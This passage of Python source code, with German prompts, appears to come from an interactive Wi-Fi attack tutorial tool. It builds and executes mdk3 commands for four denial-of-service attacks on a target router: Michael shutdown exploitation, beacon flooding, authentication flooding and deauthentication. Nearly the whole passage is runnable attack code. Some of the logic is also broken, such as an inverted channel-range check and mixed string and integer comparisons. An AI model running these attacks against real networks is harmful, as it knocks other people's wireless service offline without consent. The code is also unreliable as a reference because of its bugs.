and (selection != 4)):
print(
"Die ausgewählte Methode existiert nicht. Bitte eine Auswahl zwischen 1 und 4 angeben."
)
selection = raw_input(
"Die Auswahl bitte hier eingeben und mit Enter bestätigen: ")
if ((selection != 1) and (selection != 2) and (selection != 3)
and (selection != 4)):
print(
'Mehrere falsche Eingaben wurden erkannt. Zum Fortfahren wurde automatisch Auswahl 1 gewählt!'
)
selection = 1
if (selection == 1):
print('Michael shutdown exploitation: \n')
command = rlinput(
'Start der DoS-Attacke: \n# ',
'mdk3 ' + wifi_name + ' m -t ' + router_bssid + ' j')
execute(command)
elif (selection == 2):
print('Beacon flooding: \n')
print(
'Für diesen Angriff werden folgende zusätzliche Parameter benoetigt:\n'
)
channel = rlinput(
'Kanalnummer des Netzwerks, welches während des Angriffes erzeugt wird, angeben : ',
'1')
if (1 <= channel <= 13):
print(
'Die gewählte Kanalnummer befindet sich nicht im erlaubten Bereich. Kanalnummer 1 wird ausgewählt.'
)
channel = 1
command = rlinput('Start der DoS-Attacke: \n# ',
'mdk3 ' + wifi_name + ' b -c ' + channel)
execute(command)
elif (selection == 3):
print('Authentication DoS: \n')
command = rlinput('Start der DoS-Attacke: \n# ',
'mdk3 ' + wifi_name + ' a -a ' + router_bssid)
execute(command)
elif (selection == 4):
print('Deauthentication DoS: \n')
print(
'Anmerkung: Für diesen Angriff wird eine Blacklist benötigt. Die Blacklist beinhaltet die BSSID des anzugreifenden Netzes. Es kann hier auch eine alternative Liste angegeben werden. \n'
)
os.system('echo ' + router_bssid + ' > blacklist')
command = rlinput(
'Start der DoS-Attacke: \n# ',
'mdk3 ' + wifi_name + ' d -b blacklist -c ' + router_chn)
execute(command)
#Stop Monitor Mode
generics.stop_monitor_mode(wifi_name)
#ReStart Networkmanager
generics.restart_networkmanager()
#END
print(
'Ende des DoS-Tutorials erreicht! \n Bitte wählen zum Fortfahren: \n'
)
print('1. Zurück zum Menu \n' + '2. Zurück zur DoS-Übersicht\n' +
'0. Tutorial beenden \n')
try:
selection = input(
"Die Auswahl bitte hier eingeben und mit Enter bestätigen: ")
except SyntaxError:
selection = 0
if (selection == 1):
attack = False
return True
elif (selection == 2):
attack = True
#Just du magic stuff. Unicorn!!
else:
attack = False
return False
